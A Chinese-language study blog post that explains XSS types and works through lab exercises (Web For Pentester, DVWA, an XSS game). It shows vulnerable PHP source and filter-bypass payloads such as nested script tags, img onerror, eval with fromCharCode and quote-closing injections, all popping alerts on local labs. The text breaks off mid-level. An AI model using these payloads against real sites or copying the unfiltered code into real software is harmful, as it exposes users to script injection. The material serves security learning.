XSS

打CTF见过一些关于 XSS 的题,但是一直没有系统的学习一下,刚好翻到了国光大佬的 XSS 文章,就想着借此跟着学习一下

学习文章:https://www.sqlsec.com/2020/01/xss.html

XSS 简介

XSS 攻击(跨站脚本攻击)是指攻击者通过特殊手段,将恶意的 JavaScript 脚本代码插入到网页中,当其他的用户访问浏览这个网页时,恶意脚本就会在其浏览器中执行,从而对用户的浏览器发起 Cookie 窃取、会话劫持、钓鱼欺骗等攻击,XSS 攻击本身对 Web 服务器没有直接危害,它借助网站进行传播,使网站的大量用户受到攻击。

XSS 攻击的核心原理是:网站对用户的输入没有进行充分的过滤和转义,就将其作为网页的一部分输出给其他用户。

XSS 例子

下面的 HTML 代码演示了一个最基本的 XSS 弹窗:

1
2
3
4
5
<html>
<body>
<script>alert("XSS")</script>
</body>
</html>

在浏览器中打开这个 HTML 文件的时候,浏览器会解析 HTML,遇到了<script>标签时会执行其中的 JavaScript 代码alert("XSS"),达到弹出消息弹窗的效果:

image-20260119205057193

XSS 危害

  • 网络钓鱼
  • 盗取用户 cookies 信息
  • 劫持用户浏览器
  • 强制弹出广告页面、刷流量
  • 网页挂马
  • 进行恶意操作,例如任意篡改页面信息
  • 获取客户端隐私信息
  • 控制受害者机器向其他网站发起攻击
  • 结合其他漏洞,如 CSRF 漏洞,实施进一步作恶
  • 提升用户权限,包括进一步渗透网站
  • 传播跨站脚本蠕虫等

XSS 分类

反射型 XSS(非持久型)

反射型 XSS 也称作非持久型、参数型跨站脚本。攻击脚本作为请求的一部分发送到服务器,然后立即 “反射” 回客户端并在浏览器中执行,不存储在服务器上。需要用户点击一个恶意链接才能攻击成功,恶意代码在 URL 参数中

假设一个页面把用户输入的参数直接输出到页面上:

1
2
3
<?php
echo "<h1>".$_GET['param']."</h1>";
?>

用户向param提交的数据会被包含在<h1>标签中展示出来:

1
http://127.0.0.1/xss.php?param=Hello XSS

image-20260119211312261

此时查看页面源代码可以看到:

image-20260119211403543

1
<h1>Hello XSS</h1>

如果提交的是一句 JavaScript 代码:

1
http://127.0.0.1/xss.php?param=<script>alert("XSS")</script>

可以看到alert("XSS")在当前页面中执行了

image-20260119211233394

此时再查看页面源代码:

image-20260119211537886

1
<h1><script>alert(233)</script></h1>

这里用户输入的 JavaScript 代码就被写入到页面中,这就是最经典的反射型 XSS,特点就是只在用户浏览时触发,并且只执行一次,非持久化,所以称为反射型 XSS。

因为恶意代码暴露在 URL 参数中,并且要求用户浏览才能触发,有点安全意识的用户就会看穿链接不可信,所以反射型 XSS 的危害往往不如持久型 XSS。

常见位置:

  • 搜索框
  • 错误信息页面
  • 表单提交结果页
  • URL重定向参数

存储型 XSS(持久型)

提交的恶意脚本被存储在服务器上(数据库、文件系统、内存等),下次请求目标页面时不用再提交恶意代码,每次用户访问受影响页面时都会执行。最经典的例子就是留言板 XSS。

先搭一个数据库来模拟留言板复现存储型 XSS 漏洞,新建一个名叫xss的数据库

image-20260119214459359

里面新建一个message表来存放用户的留言信息,字段名分别是:idusernamemessage,将id设为主键并勾选自动递增

image-20260119215013577

image-20260119215032400

然后就是写一个 PHP 后端页面,借用国光大佬写好的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<meta charset="utf-8">
<?php
error_reporting(0);
/*数据库信息配置*/
$host = "localhost"; //数据库地址
$port = "3306"; //数据库端口
$user = "root"; //数据库用户名
$pwd = "123456"; //数据库密码
$dbname = "xss"; //数据库名
$conn = new mysqli($host,$user,$pwd,$dbname,$port);
?>

<!-- 前端用户输入表单 -->
<h1>留言板的存储型XSS</h1>
<form method="post">
<input type="text" name="username" placeholder="姓名">
<input type="text" name="message" placeholder="请输入您的留言">
<input type="submit">
</form>

<?php
/*直接将留言插入到数据库中*/
$username=$_POST['username'];
$message=$_POST['message'];
if($username and $message)
{
$sql="INSERT INTO `message`(`username`, `message`) VALUES ('{$username}','{$message}')";
if ($conn->query($sql) === TRUE) {
echo "留言成功"."<br>";
} else {
echo "Error: " . $sql . "<br>" . $conn->error;
}
}else{
echo "请填写完整信息"."<br>";
}

/*查询数据库中的留言信息*/
$sql = "SELECT username, message FROM message";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
echo "用户名:" . $row["username"]. "留言内容:" . $row["message"]."<br>";
}
} else {
echo "暂无留言";
}
?>

配置好后保存为 PHP 文件,放小皮开 HTTP 服务访问:

image-20260119215614658

从代码可以看出,用户在前端提交,留言内容,然后可以看到自己留言的信息,代码中也没有任何的过滤,直接将用户的语句插入到网页中,并存储到数据库中,这就很容易产生存储型 XSS 漏洞

当攻击者直接在留言板中输入<script>alert("XSS")</script>,就会到这句恶意代码直接被存储到数据库中,经过网页解析会被执行,导致用户每次浏览这个网页就会弹窗:

image-20260119220700795

查看网页源代码:

image-20260119221448483

1
<br>用户名:Colourful留言内容:<script>alert("XSS")</script><br>

常见位置:

  • 用户评论/留言
  • 用户资料(昵称、签名)
  • 论坛帖子
  • 博客文章
  • 产品评价

DOM XSS

DOM节点是文档对象模型(Document Object Model)中的基本单元,它代表了HTML/XML文档中的每一个组成部分。当浏览器加载一个网页时,它会将HTML代码解析成一个由节点组成的树状结构,这就是DOM树。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<!-- HTML结构 -->
<html>
<head>
<title>页面标题</title>
</head>
<body>
<h1>主标题</h1>
<p>这是一个段落</p>
</body>
</html>

<!-- 对应的DOM树结构 -->
文档节点 (Document)
└── 元素节点: <html>
├── 元素节点: <head>
│ └── 元素节点: <title>
│ └── 文本节点: "页面标题"
└── 元素节点: <body>
├── 元素节点: <h1>
│ └── 文本节点: "主标题"
└── 元素节点: <p>
└── 文本节点: "这是一个段落"

通过修改页面的 DOM 节点形成的 XSS 称为 DOM XSS。DOM XSS 的 XSS 代码并不需要服务器解析响应的直接参与,触发 XSS 靠的就是浏览器端的 DOM 解析,可以认为完全是客户端的事情。漏洞存在于客户端 JavaScript 代码中,不涉及服务器端处理。

含有 DOM XSS 漏洞的 HTML 代码:

1
2
3
4
5
6
7
8
9
10
11
12
<meta charset="UTF-8">

<script>
function xss(){
var str = document.getElementById("src").value;
document.getElementById("demo").innerHTML = "<img src='"+str+"' />";
}
</script>

<input type="text" id="src" size="50" placeholder="输入图片地址" />
<input type="button" value="插入" onclick="xss()" /><br>
<div id="demo" ></div>

这段代码的功能就是会将用户输入的图片地址插入在id="demo"div标签中,从而显示在网页:

image-20260119222705255

代码中同样也是没有对用户输入的内容进行过滤和转义,当攻击者构造以下恶意代码输入时:

1
' onerror="alert('XSS')"

image-20260119222914698

就会直接在img标签中插入onerror事件,表示当图片加载出错时,会自动触发后面的alert('XSS')代码,从而达到弹窗的效果。

XSS 靶场

Web For Pentester

环境搭建

下载地址:https://isos.pentesterlab.com/web_for_pentester_i386.iso

用VMware挂载下载的.iso文件

新建一个虚拟机

image-20260119224410802

image-20260119224630205

后面配置,默认下一步就好

完成后打开,选择Live方式运行(应该默认是这个,不用换),然后查看下 IP 地址:

1
ifconfig

image-20260119225058838

浏览器访问即可

1
http://192.168.41.133/

image-20260119225213436

第1关:无过滤

源码:

1
2
3
<?php
echo $_GET["name"];
?>

image-20260119225424335

可以发现 URL 中有个name参数,值为hacker,会直接显示在页面中,是反射型 XSS

1
/xss/example1.php?name=Hello XSS

image-20260119225529952

payload:

1
/xss/example1.php?name=<script>alert('XSS')</script>

image-20260119225711180

第2关:大小写绕过

源码:

1
2
3
4
5
6
<?php
$name = $_GET["name"];
$name = preg_replace("/<script>/","", $name);
$name = preg_replace("/<\/script>/","", $name);
echo $name;
?>

使用了preg_replace函数进行过滤,会将<script><\/script>标签替换为空,但是这个正则表达式没有匹配大小写,所以可以利用大小写绕过

payload:

1
/xss/example2.php?name=<Script>alert('XSS')</Script>

image-20260119230129410

第3关:嵌套绕过

源码:

1
2
3
4
5
6
<?php
$name = $_GET["name"];
$name = preg_replace("/<script>/i","", $name);
$name = preg_replace("/<\/script>/i","", $name);
echo $name;
?>

这是在第2关的基础上在正则表达式中加入了/i,表示不区分大小写,就不能使用大小写绕过,但是因为是会将关键词替换为空,所以可以利用嵌套绕过:

1
<scr<script>ipt>

里面的<script>被替换为空后,外层的就可以拼接成一个完整的<script>标签,另一个同理

payload:

1
/xss/example3.php?name=<scr<script>ipt>alert('XSS')</scr</script>ipt>

image-20260119230900961

第4关:其他标签绕过

源码:

1
2
3
4
5
6
7
8
9
<?php
require_once '../header.php';

if (preg_match('/script/i', $_GET["name"])) {
die("error");
}
?>

Hello <?php echo $_GET["name"]; ?>

这一题不仅对关键词进行不区分大小写的匹配,而且遇到关键词不是替换为空,而是直接调用die("error");终止程序运行,但只是禁用了script,还是可以用其他标签来触发的,比如上面 DOM XSS 中的<img src=x onerror=alert('XSS')>

payload:

1
/xss/example4.php?name=<img src=x onerror=alert("XSS")>

image-20260119231517695

第5关:编码绕过

源码:

1
2
3
4
5
6
7
8
9
<?php 
require_once '../header.php';

if (preg_match('/alert/i', $_GET["name"])) {
die("error");
}
?>

Hello <?php echo $_GET["name"]; ?>

这一关是对alert这个关键字进行不分大小写的匹配过滤,可以对alert进行编码绕过,也使用其他类似于alert的方法来绕过,像:confirmprompt

payload1:

1
/xss/example5.php?name=<script>confirm('XSS')</script>

image-20260119232323992

1
/xss/example5.php?name=<script>prompt('XSS')</script>

image-20260119232344749

payload2:

可以利用String.fromCharCode()来编码绕过,利用 HackBar 可以很方便生成

image-20260120100629922

image-20260120100650360

image-20260120100705200

1
String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41)

image-20260120100727496

1
/xss/example5.php?name=<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 34, 88, 83, 83, 34, 41))</script>

image-20260120100824905

第6关:闭合双引号

源码:

1
2
3
<script>
var $a= "<?php echo $_GET["name"]; ?>";
</script>

看源码可以看出这是直接将通过 GET 方式传入的name变量的值输出到<script>标签中,可以看到$a后面的是用双引号引起来的,可以将前后的两个双引号闭合起来,然后传入恶意代码,或者是用//来注释

payload1:

前面的可以用双引号闭合起来,再加一个分号分隔,后面的先加一个分号,然后加一个双引号闭合后面的

1
/xss/example6.php?name=";alert("XSS");"

image-20260120101410481

payload2:

后面的双引号也可以直接用//来注释掉

1
/xss/example6.php?name=";alert("XSS");//

image-20260120101535380

第7关:闭合单引号

源码:

1
2
3
<script>
var $a= '<?php echo htmlentities($_GET["name"]); ?>';
</script>

这一题和上题一样是将输入的内容直接输出在<script>标签中,区别是这题$a后面使用的单引号,并且 PHP 代码中使用了htmlentities()函数,这个函数会将字符转化为 HTML 实体,这就会对双引号进行特殊编码

image-20260120101748801

但是这个函数对单引号不会特殊编码,刚好是用单引号来闭合的,所以和上题一样,改成用单引号就好,也可以用注释

payload1:

1
/xss/example7.php?name=';alert('XSS');'

image-20260120102212124

payload2:

1
/xss/example7.php?name=';alert('XSS');//

image-20260120102248155

第8关:PHP_SELF

源码:

1
2
3
4
5
6
7
8
9
10
<?php
require_once '../header.php';

if (isset($_POST["name"])) {
echo "HELLO ".htmlentities($_POST["name"]);
}
?>
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">
Your name:<input type="text" name="name" />
<input type="submit" name="submit"/>

这一题的 PHP 代码部分使用了htmlentities()函数对 POST 参数name进行实体化,并且使用的是双引号,这种方式是比较安全的

但是注意下面这段代码:

1
<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST">

$_SERVER['PHP_SELF']是 PHP 的一个超全局变量,会返回当前正在执行的脚本的文件路径

这里PHP_SELF是可控的,并且没有经过任何过滤直接输入到form标签中,所以可以在这里进行闭合从而打 XSS

image-20260120103427862

payload1:

直接闭合引号和标签,用<script>标签来弹窗:

1
/xss/example8.php/"><script>alert('XSS')</script>//

image-20260120104102857

payload2:

只闭合引号,用onclick,通过事件来触发弹窗:

1
/xss/example8.php/"onclick=alert('XSS')//

在 URL 中输入回车后,再点一下提交就可以触发弹窗

image-20260120104419499

第9关:location.hash

源码:

1
2
3
<script>
document.write(location.hash.substring(1));
</script>

Window location.hash属性:https://www.w3school.com.cn/jsref/prop_loc_hash.asp

这里通过location.hash来获取URL中的锚部分(#及后面的部分),substring(1)可以去掉开头的#号,使用document.write()将内容直接写入到文档中

payload:

1
/xss/example9.php#<script>alert('XSS')</script>

在 Chrome 和 FireFox 浏览器里尖括号会被自动转码,就不能正常触发 XSS:

image-20260120105323627

看文章里说在 IE 内核的浏览器上可以正常运行,我也没找到成功的

DVWA

环境搭建

下载地址:https://github.com/ethicalhack3r/DVWA/archive/master.zip

将下载好的压缩包解压放到小皮里搭建,我以前搭过的就不重新搭了

默认的账户名为:admin,密码为:password

可以在 DVWA Security 中设置难度:

image-20260120111217519

反射型 XSS

Low

源码:

1
2
3
4
5
6
7
8
9
10
11
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Feedback for end user
echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

无过滤,只要name不为空就将其包含在<pre>里直接输出到网页中

payload:

1
<script>alert("XSS")</script>

image-20260120125033383

Medium

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = str_replace( '<script>', '', $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello {$name}</pre>";
}

?>

利用str_replace()函数将<script>标签替换为空,可以使用大小写绕过、嵌套绕过、其他标签绕过

大小写绕过

1
<Script>alert("XSS")</Script>

image-20260120125829594

嵌套绕过

1
<scr<script>ipt>alert("XSS")</script>

image-20260120130007210

其他标签绕过

1
<img src=x onerror=alert('XSS')>

image-20260120130104422

High

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Get input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello {$name}</pre>";
}

?>

这里过滤更严格,不区分大小写,并且使用通配符来匹配<script>,但还是可以用其他标签来绕过

payload:

1
<img src=x onerror=alert('XSS')>

image-20260120130609105

Impossible

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$name = htmlspecialchars( $_GET[ 'name' ] );

// Feedback for end user
echo "<pre>Hello {$name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?>

代码里使用htmlspecialchars()函数对变量name进行 HTML 实体化,并使用双引号,输出在<pre>标签里,就没什么方法可以绕过了

DOM XSS

Low

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<div class="vulnerable_code_area">

<p>Please choose a language:</p>

<form name="XSS" method="GET">
<select name="default">
<script>
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + $decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}

document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
</script>
</select>
<input type="submit" value="Select" />
</form>
</div>
1
2
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");

通过document.location.href中 URL 中的default参数获取到用户输入,没有经过过滤直接拼接到option 标签中,通过document.write()输出到页面

payload:

1
?default=<script>alert("XSS")</script>

image-20260120133009440

Medium

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {
$default = $_GET['default'];

# Do not allow script tags
if (stripos ($default, "<script") !== false) {
header ("location: ?default=English");
exit;
}
}

?>

在 Low 的基础上,对default内容进行过滤,使用stripos()函数查找<scriptdefault变量中第一次出现的位置(不区分大小写),如果可以查找到,就会自动将 URL 后的参数修改为?default=English,这里可以用其他标签进行绕过

payload1:

使用img标签来绕过:

1
?default=<img src=x onerror=alert('XSS')>

image-20260120133749632****

payload2:

直接使用input的事件弹窗:

1
?default=<input onclick=alert('XSS') />

输入回车后,再点击一次输入框触发弹窗

image-20260120134251283

High

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php

// Is there any input?
if ( array_key_exists( "default", $_GET ) && !is_null ($_GET[ 'default' ]) ) {

# White list the allowable languages
switch ($_GET['default']) {
case "French":
case "English":
case "German":
case "Spanish":
# ok
break;
default:
header ("location: ?default=English");
exit;
}
}

?>

使用白名单来过滤,如果default的值不是FrenchEnglishGermanSpanish其中一个的话,就会重置 URL 后的参数为?default=English

payload1:

可以使用&连接另一个自定义变量来绕过

1
?default=English&a=<img src=x onerror=alert('XSS')>

image-20260120134946130

1
?default=English&a=<input onclick=alert('XSS') />

image-20260120135101609

payload2:

可以使用#来绕过

1
?default=#<img src=x onerror=alert('XSS')>

image-20260120135240732

1
?default=#<input onclick=alert('XSS') />

image-20260120135420145

Impossible

1
2
3
4
5
# For the impossible level, don't decode the querystring
$decodeURI = "decodeURI";
if ($vulnerabilityFile == 'impossible.php') {
$decodeURI = "";
}

Impossible 级别直接不对输入内容进行 URL 解码了,这样会导致标签失效,从而无法 XSS

存储型 XSS

Low

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}

?>
  • 设置的 POST 参数btnSign来检查是否是提交留言的
  • 然后设置了俩 POST 参数mtxMessagetxtName,并且都使用了trim()函数去除字符串两端的空白字符(空格、制表符、换行符)
  • 然后使用stripslashes()函数对去除变量$message中的反斜杠,
  • 然后使用mysqli_real_escape_string()函数对输入的内容进行转义特殊字符
  • 最后将数据提交插入到数据库中

虽然对提交的内容进行了过滤和转义,但都只是对数据库进行的防护,没有对 XSS 进行防护,可以进行 XSS

payload:

1
2
Name: suzen
Message: <script>alert('XSS')</script>

image-20260121141532129

image-20260121141607412

image-20260121141705316

然后可以把数据库中的这个记录删去,便于做后面的

函数补充

trim

语法:
1
trim(string,charlist)
参数 描述
string 必需,规定要检查的字符串
charlist 可选,规定从字符串中删除哪些字符
作用:

可以移除string字符两侧的预定义字符

如果charlist被省略,就会移除下面所有的字符:

符号 描述
\0 NULL
\t 制表符
\n 换行
\x0B 垂直制表符
\r 回车
空格

stripslashes

语法:
1
stripslashes(string)
作用:

去除掉 string 字符的反斜杠 \,该函数可用于清理从数据库中或者从 HTML 表单中取回的数据

mysql_real_escape_string

语法:
1
mysql_real_escape_string(string,connection)
作用:

转义 SQL 语句中使用的字符串中的特殊字符:\x00\n\r\'\x1a

参数 描述
string 必需,规定要转义的字符串
connection 可选,规定 MySQL 连接,如果未规定,则使用上一个连接

Medium

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );

// Sanitize name input
$name = str_replace( '<script>', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}

?>

和 Low 的区别就是对$message变量使用addslashes()strip_tags()htmlspecialchars()这三个函数进行转义和 HTML 实体化

还有使用str_replace()函数将<script> 替换为空,可以使用大小写绕过、嵌套绕过、其他标签绕过

message变量几乎把所有的能 XSS 都过滤了,但是name只过滤了<script>,所以可以再name处进行 XSS,不过nameinput限制了文本长度,可以在前端临时修改一下:

image-20260121151314056

也可以去找源码修改:

1
\dvwa\vulnerabilities\xss_s\index.php

image-20260121151637338

payload1:

1
<Script>alert('XSS')</script>

image-20260121150305656

image-20260121150314135

payload2:

1
<scr<script>ipt>alert('XSS')</script>

payload3:

1
<img src=x onerror=alert("XSS")>

函数补充

addslashes

语法:
1
addslashes(string)
作用:

返回在预定义字符之前添加反斜杠的字符串:单引号、双引号、反斜杠\、NULL

strip_tags

语法:
1
strip_tags(string,allow)
作用:

剥去字符串中的 HTML、XML 以及 PHP 的标签

参数 描述
string 必需,规定要检查的字符串
allow 可选,规定允许的标签。这些标签不会被删除

htmlspecialchars

把预定义的字符转换为 HTML 实体:和号&、双引号、单引号、小于号<、大于号>

High

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );

// Sanitize name input
$name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));

// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

//mysql_close();
}

?>

$message仍然还是不太能绕过,再看$name换成了使用preg_replace()函数,用正则匹配不区分大小写来过滤<script>标签,并且使用了通配符,可以使用其他标签来绕过

payload:

1
<img src=x onerror=alert("XSS")>

Impossible

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

if( isset( $_POST[ 'btnSign' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );

// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );

// Sanitize name input
$name = stripslashes( $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = htmlspecialchars( $name );

// Update database
$data = $db->prepare( 'INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );' );
$data->bindParam( ':message', $message, PDO::PARAM_STR );
$data->bindParam( ':name', $name, PDO::PARAM_STR );
$data->execute();
}

// Generate Anti-CSRF token
generateSessionToken();

?>

$message$name都是严格过滤,不太能绕过了,并且检测用户的Token,防止 CSRF 攻击

XSS 小游戏(国光改编版)

环境搭建

项目地址:https://github.com/sqlsec/xssgame

直接解压放到小皮里就行,不要配置数据库

第1关:无过滤

源码:

1
2
3
4
5
<?php
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户:".$str."</h2>";
?>

直接将传给 GET 参数name的内容包含在<h2>标签中输出到网页

payload:

1
/level1.php?name=<script>alert('xss')</script>

第2关:闭合双引号

源码:

1
2
3
4
5
6
7
8
9
10
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>

有个 GET 参数keyword,赋值给$str变量,然后会经过htmlspecialchars()函数进行 HTML 实体化输出出来,不过input标签中没有任何过滤,可以闭合双引号来触发事件

payload:

1
" onclick=alert('XSS') //

然后点一下输入框即可触发

第3关:闭合单引号

源码:

1
2
3
4
5
6
7
8
9
10
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>

input标签处也使用了htmlspecialchars()函数进行 HTML 实体化,不过value后使用的是单引号,可以闭合单引号来触发事件

payload:

1
' onclick=alert('XSS') //

然后点一下输入框即可触发

第4关:闭合双引号+绕过尖括号

源码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

在第2关的基础上,多了使用str_replace()函数将尖括号<>替换为空,但也仍可以用触发事件绕过

payload:

1
" onclick=alert('XSS') //

然后点一下输入框即可触发

第5关:javascript伪协议

源码:

1
2
3
4
5
6
7
8
9
10
11
12
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

使用strtolower()函数将keyword变量中所有的字符转换为小写,防止大小写绕过,然后使用str_replace()函数将<script替换为<scr_ipt,将on替换为o_n

可以闭合双引号和标签,使用href标签,通过 javascript 伪协议来触发,格式:

1
javascript:要执行的JavaScript代码

payload:

1
"><a href=javascript:alert('XSS') //

然后点一下超链接即可触发

第6关:大小写绕过

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>

使用str_replace()函数过滤了更多的关键词,不过没有使用strtolower()转换为小写,可以通过大小写绕过

payload1:

1
